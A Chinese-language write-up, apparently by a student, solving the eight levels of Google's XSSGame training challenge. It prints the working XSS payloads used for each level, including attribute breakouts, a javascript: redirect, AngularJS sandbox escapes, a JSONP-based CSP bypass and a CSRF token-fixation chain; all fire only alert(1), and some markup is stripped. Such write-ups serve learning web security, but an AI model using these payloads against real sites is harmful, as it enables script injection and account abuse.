本文介紹了如何完成谷歌最新的XSSGame的過程,完成了這八個挑戰(zhàn)就有機(jī)會獲得Nexus 5x。實際上這八個挑戰(zhàn)總體來說都不難,都是些常見的xss。通關(guān)要求是只要能彈出alert窗口即可。
第一關(guān)
反射型xss,在搜索框提交的內(nèi)容最后會出現(xiàn)在結(jié)果頁面的html代碼里,沒有任何過濾,直接搜索:
script>alert('freebuf')script>

第二關(guān)
還是反射型,提交內(nèi)容后會有一定延遲。通過查看html源碼可以知道延遲的時間(timer=)被直接插入到了img標(biāo)簽里的onload事件里:
id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('');" />

直接請求url:/?timer=’-alert(1)-’,通關(guān)。
第三關(guān)
展示了一些貓的圖片,當(dāng)圖片換了后,url只是變化了#后面的內(nèi)容(#1 > #2),感覺可以通過這個id來反射xss。
查看源代碼:
function chooseTab() {
var html = "Cat " + parseInt() + "
";
html += " + + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i if (tabs[i].id == "tab" + parseInt()) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
window.location.hash = ;
// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
}
哼,根據(jù)上一關(guān)的靈感,感覺可以繼續(xù)利用一下on事件,修改id后,圖片肯定是不存在的,于是使用onerror:
#1'onerror=alert(1)>

搞定
第四關(guān)
打開后是一個注冊頁面,讓我們填寫郵箱地址,注冊完成后通過url里面的next參數(shù)把我們跳轉(zhuǎn)回主頁,查看源碼:
script>
setTimeout(function() { window.location = user provided>; }, 1000);
script>
在html中,鏈接可以是js代碼,比如:
a href="javascript:...">a>
直接請求這個跳轉(zhuǎn)url:
confirm?next=javascript:alert(1)

第五關(guān)
一個F歌(foogle)搜索框,使用了angularJS 1.5.8,感覺是爆過漏洞的,上某網(wǎng)搜索(angularjs 1.5.8 injection)找到利用方法:
?utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

第六關(guān)
angularJS 1.2版本的搜索框,在搜索框中提交的內(nèi)容最終進(jìn)到了class為ng-non-bindable的div標(biāo)簽里:
#普通的div標(biāo)簽
Normal: {{1 + 2}}
#輸出:Normal: 3
#ng-non-bindable
Ignored: {{1 + 2}}
#輸出:Ignored: {{1 + 2}}
隨后發(fā)現(xiàn)如果直接提交花括弧會被刪掉,于是使用“{”,最后構(gòu)造這樣一個url:
?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
第七關(guān)
通過GET(參數(shù)menu)和JSONP請求加載了一個博客頁面,而響應(yīng)的title,pictures會被處理為h1標(biāo)簽和img標(biāo)簽。關(guān)卡提示:common CSP bypass。
猜測xss
可能會在menu參數(shù)里,JSONP里的callback參數(shù)(知識擴(kuò)展)可以用來注入我們的js代碼,開始構(gòu)造我們的url:
?menu=base64_encode(script src="jsonp?callback=alert(1)%3b%2f%2f">script>)
第八關(guān)
要求是對任何用戶都有效,無論是登錄的還是未登錄的,要想通過必須得利用CSRF,self-xss,CSP。/transfer下是個很明顯的反射性xss,所以難度在于怎樣設(shè)置csrf_token可以匹配cookie。
最后發(fā)現(xiàn)在登錄后會有一個請求設(shè)置用戶cookie并把用戶重定向到主頁,url如下:
set?name=username&value=&redirect=index #作孽啊!
根據(jù)這個url就可以猜測到后端代碼寫得是有多簡陋。。。
有了這個作孽的東西,我們就可以設(shè)置自己的csrf_token并把用戶重定向到/transfer,以便執(zhí)行我們注入的js代碼。構(gòu)造如下url:
set?name=csrf_token&value=csrf_token>&redirect=url_encode(/transfer?name=freebufer&amount=3">script>alert(1)script>&csrf_token=csrf_token>)

寫出這種代碼的,在我們那是要被BGM的! 高中生第一次寫writeup,如有不足望擔(dān)待,勿噴。
|